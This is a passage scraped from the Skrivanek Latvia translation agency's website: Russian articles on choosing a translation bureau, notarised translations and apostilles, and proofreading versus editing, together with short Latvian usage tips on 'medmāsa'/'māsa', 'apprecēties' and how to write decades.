предоставлена на их родном языке. КАК ВЫБРАТЬ ПОСТАВЩИКА УСЛУГ ПЕРЕВОДА Если вам регулярно требуются услуги перевода для бизнеса или личных нужд, очень важно наладить успешное долгосрочное сотрудничество с бюро переводов, которое гарантирует быстрое и качественное выполнение переводов. Для начала определите свои потребности. Какой тип перевода вам нужен? Если вы работаете в сфере маркетинга, важно, чтобы переводы также были локализованы в соответствии с культурой целевого языка. А перевод документов пройдет более гладко, если бюро переводов предоставляет услуги нотариального заверения. Кто ваша аудитория: перевод будут читать ваши клиенты или деловые партнеры? Вам нужны только письменные или также устные переводы (устный перевод)? В каких языковых комбинациях потребуются переводы? Важно, чтобы бюро переводов могло предоставить переводчиков, владеющих исходным и целевым языками. Долгосрочное сотрудничество и обратная связь с клиентами Переводы – быстроразвивающаяся отрасль, и недостатка в бюро переводов нет даже в такой небольшой стране, как Латвия. На сайтах бюро переводов обычно можно ознакомиться с их крупнейшими клиентами и проектами, а также узнать об опыте работы бюро с материалами для той или иной отрасли, особенно если вам требуется специфическая терминология и технически сложные переводы. Мы ожидаем, что надежное бюро переводов предоставит высококачественный перевод в срок. Вы будете общаться с руководителем проекта, который ответит на все ваши вопросы и проследит за тем, чтобы перевод был выполнен подходящим переводчиком, чтобы были соблюдены оговоренные сроки и стандарты качества, а также предоставит вам ценовое предложение, когда вы сделаете заказ на перевод. Сертификаты качества То, что бюро переводов внедрило требования системы управления качеством и работает с профессиональными устными и письменными переводчиками, редакторами и корректорами, также подтверждается различными сертификатами ISO. Такое управление качеством обеспечивает качество и конфиденциальность услуг. EN ISO 9001: бюро переводов внедрило необходимые процессы, чтобы качество услуг соответствовало потребностям клиентов и требованиям нормативных актов. Сертификат EN ISO 14001 подтверждает заботу нашей компании об окружающей среде, в том числе использование в бизнесе экологически чистых технологий и материалов, сортировку отходов и печать только необходимых документов. EN 17100: подбор специалистов по переводу, коммуникация, управление проектами, рабочий процесс, использование технологий и другие аспекты, связанные с отраслью, соответствуют установленным требованиям. ISO/IEC 27001: в бюро переводов внедрены меры по защите информации и обеспечен необходимый контроль, гарантирующий безопасность и конфиденциальность данных, доверенных нашими клиентами. ISO 18587: сертификат связан с процессами постредактирования машинного перевода, а также с совместной работой руководителя проекта и редактора над выполнением проекта. SKRIVANEK В СФЕРЕ ПЕРЕВОДЧЕСКИХ УСЛУГ УЖЕ БОЛЕЕ 25 ЛЕТ Мы являемся одним из крупнейших поставщиков языковых услуг в мире и имеем почти пятьдесят филиалов в разных странах по всему миру. Латвийский филиал, офис которого находится в центре Риги, работает с 2003 года. Нашими клиентами являются как государственные учреждения и крупные компании, так и частные заказчики, и каждый день мы выполняем масштабные и сложные проекты, а также переводы документов разного объема, гарантируя доступные цены, качество и своевременность услуг. Миссия Skrivanek – помогать клиентам познавать мир и развивать свой бизнес. Наша международная команда предоставляет услуги перевода более чем на 110 языков, профессионально работает с новейшими технологиями перевода и предлагает корректуру носителем целевого языка. В настоящее время все общение с клиентом по поводу необходимых услуг может осуществляться удаленно, для этого достаточно иметь электронную почту. Если вам нужны услуги перевода, свяжитесь с нами или посетите наш офис в Риге по адресу ул. Лачплеша, 87ц, где вас встретят профессионалы в данной области. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Medmāsa, māsiņa vai māsa – kurš mūs aprūpē, kad esam slimnīcā? Ieskaties un uzzini atbildi! Daudzi noderīgi valodas padomi vienuviet! - Published: 2024-11-06 - Modified: 2024-11-06 - URL: https://skrivanek.lv/medmasa-masina-vai-masa/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MEDMĀSA, MĀSIŅA VAI MĀSA 1 Kurš mūs aprūpē, kad esam slimnīcā – medmāsa, māsiņa vai māsa? Jāteic, ka ikdienā vienlīdz bieži izmanto visas minētās formas. Tomēr jāatceras, ka “māsiņa” ir sarunvalodas vārds. Savukārt forma “medmāsa” veidojusies krievu valodas ietekmē (no медсестра), apvienojot vienā vārdā vārdkopu “medicīnas māsa”. Vārda “medmāsa” lietojums sekmīgi nostiprinājies arī homonīmijas dēļ jeb tālab, ka vārdu “māsa” biežāk lietojam, lai apzīmētu ģimenes locekli, nevis medicīnas darbinieku. Turklāt jāņem vērā, ka, piemēram, Eiropas Zāļu aģentūras veidnēs aizvien ir prasība lietot vārdu “medmāsa”. Tas nozīmē, ka visās zāļu lietošanas instrukcijās būs rakstīts “medmāsa”. Tomēr profesijas nosaukums ir “māsa”. Tātad slimnīcā lūgsim palīdzību vispārējās aprūpes māsai, bet ķirurgam palīdzēs operāciju māsa un ķirurģiskās aprūpes māsa. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Что такое нотариально заверенный перевод? Для каких документов и в каких случаях он необходим? Узнайте об этом в данной статье! - Published: 2024-11-06 - Modified: 2024-11-06 - URL: https://skrivanek.lv/kados-gadijumos-nepieciesams-notariali-apliecinats-tulkojums/ - Kategorijas: Raksti - Translation Priorities: Optional КОГДА ВАМ НУЖЕН НОТАРИАЛЬНО ЗАВЕРЕННЫЙ ПЕРЕВОД? Если вам необходимо выполнить перевод документов, стоит поискать бюро переводов, которое предоставляет услугу нотариально заверенного перевода документов. Нотариально заверенный перевод требуется для таких документов, как свидетельство о рождении, свидетельство о браке, диплом об образовании, справки об отсутствии судимости и состоянии здоровья, различные разрешения, выданные государством, и т. д. Процесс такого перевода подразумевает заверение перевода подписью квалифицированного переводчика, а затем подпись заверяется присяжным нотариусом. Задача нотариуса – убедиться в наличии образования и квалификации переводчика для выполнения перевода, а переводчик принимает на себя ответственность за соответствие перевода оригиналу документа. НОТАРИАЛЬНО ЗАВЕРЕННЫЕ ПЕРЕВОДЫ В СТРАНАХ – УЧАСТНИЦАХ ГААГСКОЙ КОНВЕНЦИИ Если документ выдан в зарубежном государстве, являющемся участником Гаагской конвенции от 5 октября 1961 года «Об отмене требования легализации иностранных официальных документов», переводы документов с апостилем заверяются учреждением, уполномоченным на это в стране, которая выдала документ. Гаагская конвенция значительно упростила процесс нотариального заверения перевода, поскольку после заверения апостилем документ не нужно заверять повторно в более чем 100 странах – участницах Гаагской конвенции. В Латвийской Республике Гаагская конвенция действует с 30 января 1996 года. Раньше проставление апостиля на официальных документах в Латвии осуществлялось только в Консульском департаменте Министерства иностранных дел Латвийской Республики, но с 1 июля 2019 года это могут сделать присяжные нотариусы в любой точке страны, а документы, выданные в электронном виде, можно заверить апостилем дистанционно. Однако, если документ выдан в Латвии и предназначен для использования в стране, не являющейся участницей Гаагской конвенции, его необходимо сначала легализовать в Консульском департаменте Министерства иностранных дел Латвийской Республики. Процесс легализации документов простой и быстрый: вам необходимо обратиться к нотариусу, имея при себе оригинал документа и паспорт или удостоверение личности; если в базе образцов подписей есть образец подписи и печати должностного лица, выдавшего документ, документ может быть заверен в течение одного или нескольких дней. ВИДЫ НОТАРИАЛЬНО ЗАВЕРЕННЫХ ПЕРЕВОДОВ Заверение, прилагаемое к оригиналу документа: перевод, заверенный квалифицированным переводчиком, подпись которого заверена нотариусом, прилагается к оригиналу документа. Заверение копии документа: в этом случае с оригинала документа снимается фотокопия, к которой прилагается перевод, заверенный квалифицированным переводчиком на соответствующий язык; фотокопия с переводом заверяется нотариусом только при предъявлении оригинала документа. КАК ПОДГОТОВИТЬ ОРИГИНАЛ ДОКУМЕНТА Если вам нужен нотариально заверенный перевод документа, оригинал документа должен быть полностью оформлен и иметь юридическую силу, то есть содержать следующую информацию: имя лица, подготовившего документ; дату подготовки; наименование места подготовки, выдачи и подписания документа; подпись (-и). Более подробную информацию о подготовке документов можно найти в правилах Кабинета министров от 28 сентября 2010 года № 916 «Порядок составления и оформления документов». Бывают ситуации, когда необходимо представить нотариально заверенный перевод в электронном виде с электронной подписью, а оригинал документа представлен в бумажном формате. Тогда бюро переводов подготавливает перевод документа в бумажном виде, переводчик и присяжный нотариус заверяют его своими подписями, и подписанный перевод сшивается с оригиналом документа или его нотариально заверенной копией. Перевод документа сканируется, а затем заверяется нотариусом с помощью электронной подписи. Однако нотариально заверенный перевод документа, подписанного электронной подписью, может быть подготовлен непосредственно в электронной среде. ПОЧЕМУ СТОИТ ВЫБРАТЬ SKRIVANEK? Бюро переводов Skrivanek предлагает нотариально заверенные переводы на более чем 110 языков. Мы предоставляем нотариально заверенные переводы, приложенные к оригиналу документа или заверенной копии в соответствии с законодательством Латвийской Республики. Точность и соответствие перевода заверяются присяжным нотариусом, но присяжный переводчик принимает на себя всю ответственность за качество перевода. Качественная и гарантированная защита данных Мы входим в число 100 крупнейших поставщиков услуг перевода в мире. Мы внедрили необходимые процессы, чтобы наши услуги соответствовали как требованиям наших клиентов, так и требованиям нормативных актов. Skrivanek – первое агентство переводов в Центральной и Восточной Европе, полностью соответствующее требованиям стандарта системы управления качеством ISO 9001. Кроме того, компания Skrivanek обеспечивает безопасность рабочих процессов и контроль, а также конфиденциальность данных клиентов в соответствии с системой управления информационной безопасностью ISO/IEC 27001:2022. Команда профессионалов Наша сильная сторона – профессиональная международная команда: устные и письменные переводчики, редакторы, корректоры и копирайтеры, специализирующиеся в разных областях и отраслях, которые обеспечивают широкий спектр переводов в различных языковых комбинациях. Мы работаем как над небольшими, так и над крупными проектами, включая технически сложные переводы с использованием отраслевой терминологии. Скорость и эффективность В базе данных компании Skrivanek более 3000 квалифицированных переводчиков, поэтому мы можем обеспечить перевод на любой язык быстро, гарантируя при этом высокое качество. Перед началом перевода руководитель проекта и заказчик договариваются о сроках. На перевод текста объемом 500 слов обычно уходит около одного рабочего дня, а на перевод текста объемом 1000 слов – полтора рабочих дня, но при необходимости мы можем выполнить срочный перевод. В этом случае мы согласуем с вами сроки и цену индивидуально. В стоимость услуги письменного перевода входит корректура, которую выполняет носитель целевого языка. Стоимость перевода зависит от объема, языковой комбинации и особенностей текста, поэтому для получения более точного ценового предложения, пожалуйста, свяжитесь с нами или посетите наш офис в Риге по адресу ул. Лачплеша, 87ц. ВАМ НУЖЕН НОТАРИАЛЬНО ЗАВЕРЕННЫЙ ПЕРЕВОД? Мы подготовим индивидуальное решение и проконсультируем по интересующему вас вопросу. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Kārlis ar Anitu pagājušā nedēļā aprecējās vai apprecējās? Ieskaties un uzzini atbildi! Daudzi noderīgi valodas padomi vienuviet! - Published: 2024-11-01 - Modified: 2024-11-01 - URL: https://skrivanek.lv/appreceties-vai-apreceties/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional APPRECĒTIES VAI APRECĒTIES 1 Kārlis ar Anitu pagājušā nedēļā aprecējās vai apprecējās? Dažkārt ir grūti saprast, kad jālieto divi līdzskaņi blakus, bet kad pietiek ar vienu. Šādos gadījumos vērtīgi saprast, kāds ir pamatvārds. Šajā gadījumā darbība ir “precēties”, kāzas – “precības” un vīrietis, kurš grib precēties – “precinieks”. Ja ieskatās Mīlenbaha–Endzelīna vārdnīcā, tad redzams, ka savulaik laulības noslēgšanai lietots vārds “prece” (piemēram, meita preces gados). Tātad pamatvārds ir “prece” vai “precēt” (nevis “rece” vai “recēt”), un tam pievienots priedēklis “ap-”. Tāpēc ir skaidrs, ka Kārlis ar Anitu pagājušā nedēļā apprecējās. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā ir pareizi? 90. gadi vai 90-tie gadi, vai 90.tie gadi? Uzzini pareizo atbildi šeit. Šis un daudzi citi noderīgi latviešu valodas padomi. - Published: 2024-11-01 - Modified: 2024-11-01 - URL: https://skrivanek.lv/90-gadi-vai-90-tie-gadi-vai-90tie-gadi/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional 90. GADI VAI 90-TIE GADI, VAI 90. TIE GADI 1 Vilhelms Rentgens atklāja elektromagnētiskās radiācijas veidu jeb rentgenstarus 19. gadsimta 90. gados vai 19. gadsimta 90-tajos gados, vai tomēr 19. gadsimta 90. tajos gados? Rakstot gada skaitli, aiz tā liekams punkts, jo tas ir kārtas skaitļa vārds. Juris ir dzimis 1983. gadā. Taču kā rīkoties, ja jāapzīmē vesela desmitgade? Nereti vērojama tendence pārņemt angļu valodas praksi un desmitgažu pierakstam izmantot defisi vai kārtas skaitļa vārdu papildināt ar izskaņu. Tomēr latviešu valodā vārda izskaņu vai galotni nepiesaista ar defisi un kārtas skaitļa vārda apzīmēšanai ar arābu cipariem izmanto tikai punktu. Šis princips jāievēro, arī norādot uz desmitgadēm. Tātad impresionisms radās 19. gadsimta 60. gados, savukārt jaunlatvieši aktīvi darbojās 19. gadsimta 50. –80. gados, kā arī Vilhelms Rentgens atklāja elektromagnētisko radiācijas veidu jeb rentgenstarus 19. gadsimta 90. gados. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > В чем разница между корректурой и редактированием? Когда нужна корректура и какие ошибки исправляет корректор? Узнайте! - Published: 2024-10-29 - Modified: 2024-11-08 - URL: https://skrivanek.lv/kas-ir-teksta-korektura-un-kad-to-izmantot/ - Kategorijas: Raksti - Translation Priorities: Optional ЧТО ТАКОЕ КОРРЕКТУРА И КОГДА ЕЕ СЛЕДУЕТ ИСПОЛЬЗОВАТЬ? Любому письменному тексту – новому или переведенному – требуются корректура и редактирование, проверка грамматики (орфографии, пунктуации и опечаток), терминологии, культурных и стилистических нюансов языка и построения предложений. Несмотря на то что авторы часто уверены в точности своего текста и ясности своих мыслей, профессионалы, ежедневно работающие с написанием и корректурой текстов, напоминают, что обычно бывает сложно заметить собственные ошибки, особенно когда приходится сдавать только что написанный текст и нет времени просмотреть его свежим взглядом на следующий день. К тому же не все обладают прекрасным чувством языка и отличным знанием грамматики – как известно, пунктуация в латышском языке довольно сложна. В таких случаях могут помочь профессионалы – корректор и редактор текстов. РЕДАКТОР И КОРРЕКТОР, РЕДАКТИРОВАНИЕ И КОРРЕКТУРА – ЧТО ЭТО ЗНАЧИТ? Люди, не работающие в области гуманитарных наук, порой путаются в терминах. Давайте подробнее разберемся в нюансах профессий и задачах редактора и корректора, а также в том, что такое редактирование и корректура. Редактор vs корректор Редактор в основном организует и контролирует необходимые редакционные изменения в средствах массовой информации, например в прессе, на радио, телевидении, в электронных СМИ, в книжных издательствах, реализует общий дизайн и основную идею публикации и руководит работой над конкретной книгой или газетой, сотрудничая с журналистами, авторами, переводчиками, верстальщиками, а также корректорами. Корректор исправляет грамматические ошибки в текстах. В настоящее время, когда тексты пишутся на компьютере, грамматика часто проверяется с помощью средств проверки орфографии, а работа корректора приближается к литературному редактированию – исправлению стиля и разработке предложений для автора по улучшению подачи текста, поэтому всегда важно сообщать корректору о целевом читателе и желаемой тональности текста. Редактирование vs корректура Корректура поручается профессиональному корректору с филологическим образованием, а редактирование – эксперту в данной области, хорошо знающему как конкретный язык, так и соответствующую культуру, так же как переводчик специализируется на конкретной области и ее терминологии, чтобы перевод выполнялся на целевой язык точно, с сохранением последовательности и правильного контекста. Задача редактора – прочитать каждый документ как отдельный текст и не только проверить возможные ошибки, но и сделать содержание более понятным, обращая внимание на структуру предложений и другие важные нюансы. Когда используются услуги корректора и почему Корректура необходима, чтобы убедиться в том, что в тексте не осталось ошибок перевода, нет опечаток, которые не отображаются средствами проверки орфографии, все запятые на месте, не пропущены специальные символы, а текст стилистически корректен, привлекателен, соответствует цели, уважителен и понятен целевой аудитории. Независимо от того, что вам нужно – перевод или просто редактирование письменного текста, корректура позволяет взглянуть на него со стороны, что гарантирует качество и помогает создать первое профессиональное впечатление. ОШИБКИ, ИСПРАВЛЯЕМЫЕ КОРРЕКТОРОМ Пунктуация В письменном языке есть две стороны правописания: написание форм слов, или орфография, и разделение и связывание единиц речи, или пунктуация. Разные языки имеют разные знаки препинания и грамматические правила, что облегчает читателю восприятие письменного текста и позволяет понять его правильно и четко. Было бы сложно читать текст, в котором не соблюдается орфография и исчезли все знаки палатализации, но так же сложно было бы понять идеи, выраженные без знаков препинания. В латышском языке большое значение имеет не только знак препинания в конце предложения, такой как точка, вопросительный знак, восклицательный знак или многоточие, поскольку он определяет интонацию и смысл предложения, но и запятые, тире, дефисы, двоеточия, точки с запятой, которые помогают структурировать текст и вносят важные смысловые различия и нюансы. В случае с пунктуацией недостаточно просто выучить правила грамматики. Часто использование знаков препинания определяется также стилистическим тоном и функцией текста. Художественная литература, научная литература, академические исследования, публицистика, деловые статьи – каждый из этих языковых стилей имеет свои особенности, которые помогают раскрыть содержание прямо и точно. Больше всего возможностей использовать пунктуацию для отражения не только грамматической структуры предложений, но и различных интонационных и смысловых нюансов в художественной литературе, но это не менее актуально и в так называемых копирайт-текстах – рекламных, описательных разделах сайтов, релизах и т. д. Орфография Орфография – общепринятая система правил написания слов языка. Здесь корректор проследит за правильностью использования заглавных букв, помня о том, что, например, в латышском языке при написании названий приказов все слова пишутся с заглавной буквы, кроме слова «приказ», а в наименованиях учреждений – только первая буква; все знаки долготы находятся там, где должны быть; правильно используется написание сложных слов и исключений. Аналогично, в печатных текстах правильный перенос на новую строку тоже важен, однако в более сложных переводах следует обратить внимание на перенос иностранных слов, поскольку их написание часто бывает необычным. Стилистические ошибки и стилистика Стилистика – это способность языка выражать дополнительную информацию, которая указывает на среду общения и субъективное отношение говорящего или пишущего к сообщению или читателю. Это те стилистические ошибки, которые наш учитель языка в школе отмечал на полях тетради волнистой линией. Стилистические ошибки возникают, когда стилистически и/или эмоционально экспрессивные формы языка используются в неподходящей ситуации. Языковой этикет требует наличия слов и структур предложений, которые мы можем смело использовать в повседневном разговоре и переписке с друзьями, но никогда не включим в официальное рабочее письмо или юридический договор. У корректора развиты способность ориентироваться в языке и умение подбирать слова для конкретных языковых ситуаций, поэтому он знает, когда можно использовать сочный сленг, а когда лучше подойдет структурированный, деловой язык. Корректор работает на своем родном языке Рекомендации корректора или редактора полезны не только после перевода, но и при создании маркетинговых текстов, где очень важно избежать орфографических ошибок и подготовить тексты, привлекательные для определенной демографической группы. В бюро переводов корректоры работают с текстами на родном языке, что гарантирует не только грамматическую правильность текста, но и соблюдение культуры и традиций языка, поскольку корректор знает фразеологизмы и различные выражения, которые невозможно перевести дословно. Корректор отшлифовывает текст и гарантирует, что перевод понятен и звучит естественно на целевом языке, поэтому Skrivanek следит за тем, чтобы каждый перевод был проверен корректором – носителем языка. Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Существует множество бюро переводов. Читайте эту статью, чтобы узнать, на что следует обратить внимание при выборе подходящего бюро. - Published: 2024-10-29 - Modified: 2024-11-11 - URL: https://skrivanek.lv/ka-izveleties-tulkosanas-biroju/ - Kategorijas: Raksti - Translation Priorities: Optional КАК ВЫБРАТЬ БЮРО ПЕРЕВОДОВ Осознание важности качественного перевода и локализации текста в компаниях и бизнесе, возможно, привело к открытию большего числа бюро переводов. Даже в такой маленькой стране, как Латвия, существует множество крупных и мелких компаний, предлагающих услуги перевода. Если услуги перевода для бизнеса или личных нужд требуются регулярно, важно, чтобы письменные и устные переводы в различных языковых комбинациях выполнялись быстро и качественно. От письменных материалов или работы переводчика на конференции или деловой презентации могут зависеть репутация и успех вашей компании, поэтому правильный выбор делового партнера в сфере переводческих услуг очень важен. О том, на что следует обратить внимание при выборе бюро переводов для долгосрочного сотрудничества, читайте в этой статье. ОСОЗНАЙТЕ СВОИ ПОТРЕБНОСТИ Когда вы знаете, что вам нужно, легче определить свои потребности. Какие виды переводов, например деловых статей, медицинских текстов, технической документации или маркетинговых материалов, вам нужны? Это веб-сайт, газетная статья, юридический договор, пресс-релиз или техническое руководство? Кто ваша аудитория: перевод будут читать ваши клиенты или деловые партнеры? Язык источника – на каком языке написан оригинальный текст? Целевой язык – на какой язык необходим перевод? Вам нужны только письменные или также устные переводы (устный перевод)? В ЧЕМ ОТЛИЧИЕ ПИСЬМЕННОГО ПЕРЕВОДЧИКА ОТ УСТНОГО? Устный переводчик специализируется на устном переводе, например, работая на судебных слушаниях, деловых встречах, мероприятиях, конференциях, а письменный переводчик выполняет перевод письменных текстов, например книг, юридических договоров, маркетинговых материалов и т. д. СКОЛЬКО СТОИТ ПЕРЕВОД? Стоимость перевода обычно рассчитывается исходя из количества слов или знаков на исходном (оригинальном) языке документа, однако на цену также могут влиять сроки выполнения, сложность текста и технические требования. Руководитель проекта из бюро переводов сделает ценовое предложение, прежде чем вы согласитесь на продолжение работы. БЮРО ПЕРЕВОДОВ И НЕОБХОДИМЫЕ СЕРТИФИКАТЫ СООТВЕТСТВИЯ СТАНДАРТАМ УПРАВЛЕНИЯ КАЧЕСТВОМ Убедитесь, что в бюро переводов внедрены системы управления качеством и работают профессиональные устные и письменные переводчики, редакторы и корректоры, а не продают машинные переводы, которые вы можете сделать самостоятельно. Профессионализм, конфиденциальность, ответственность за качество работы и соблюдение сроков, этичность и устойчивость деятельности компании и т. д. подтверждаются различными сертификатами ISO: EN ISO 9001 Данная система управления качеством подтверждает, что бюро переводов внедрило и внедряет необходимые процессы для обеспечения соответствия качества предоставляемых услуг как требованиям заказчика, так и нормативным требованиям. EN ISO 14001 Сертификат подтверждает заботу переводческой компании об окружающей среде, в том числе использование в бизнесе экологически чистых технологий и материалов, сортировку отходов, печать только необходимых документов и т. д. EN 17100 Данный сертификат означает, что подбор специалистов по переводу, коммуникация, управление проектами, рабочий процесс, использование технологий и другие отраслевые аспекты в нашей компании соответствуют самым высоким стандартам и требованиям. ISO/IEC 27001 Внедренная система управления информационной безопасностью подтверждает, что в бюро переводов внедрены меры по защите информации и обеспечен необходимый контроль, гарантирующий безопасность и конфиденциальность данных, доверенных нашими клиентами. ISO 18587 Сертификат связан с процессами постредактирования машинного перевода, а также с совместной работой руководителя проекта и редактора над выполнением проекта. РЕПУТАЦИЯ БЮРО ПЕРЕВОДОВ Как правило, с отзывами клиентов, крупнейшими заказчиками и проектами можно ознакомиться на веб-сайте бюро переводов. Кроме того, быстрый поиск в Google позволяет узнать, какую информацию можно найти о бюро переводов. Всегда стоит поинтересоваться у друзей и деловых партнеров, могут ли они рекомендовать хорошее бюро переводов, с которым можно сотрудничать в долгосрочной перспективе, и получить отзывы от людей, чьим стандартам качества вы доверяете. И, разумеется, вы можете задать вопрос об опыте работы с клиентами из той отрасли, которую представляете, и партнерами аналогичного масштаба выбранному бюро переводов. Руководитель проекта или администратор офиса расскажет вам о проектах и клиентах, с которыми работало бюро переводов, а также предложит рекомендации и контактные данные. СРОКИ И ЭФФЕКТИВНОСТЬ После качества одним из важнейших факторов, на которые следует обратить внимание, являются скорость перевода и соблюдение сроков. Когда вам необходим перевод, вы можете напрямую обратиться к руководителю проекта, чтобы узнать цену и кратчайшие сроки выполнения. От надежного бюро переводов мы ожидаем качественного и своевременного перевода. СПЕЦИАЛИСТЫ В РАЗНЫХ ОТРАСЛЯХ Переводы требуются в самых разных областях и отраслях, поэтому переводчики должны не только владеть языком, но и иметь представление о мире и различных сферах жизни, возможно, даже специализироваться в какой-либо конкретной области за пределами филологии, а также разбираться в культуре и этикете языка, на который они переводят. В хорошем бюро переводов как минимум будут работать профессиональные переводчики и редакторы в таких областях, как финансы, медицина, юриспруденция, маркетинг и перевод технических текстов. Эти специалисты следят за использованием правильной терминологии на целевом языке, чтобы перевод был таким же профессиональным, как и оригинальный текст. Узнайте, есть ли в бюро переводов переводчики с опытом работы, необходимым для вашего проекта. НЕ ТОЛЬКО ПЕРЕВОДЧЕСКИЕ УСЛУГИ, НО И ЛОКАЛИЗАЦИЯ Убедитесь, что бюро переводов обеспечивает локализацию. Перевод и адаптация текста – это не одно и то же: адаптация означает также локализацию текста, изменение идиом и средств выразительности, а также адаптацию текста к языковым требованиям целевой аудитории. Это может иметь решающее значение, если вы занимаетесь маркетингом, 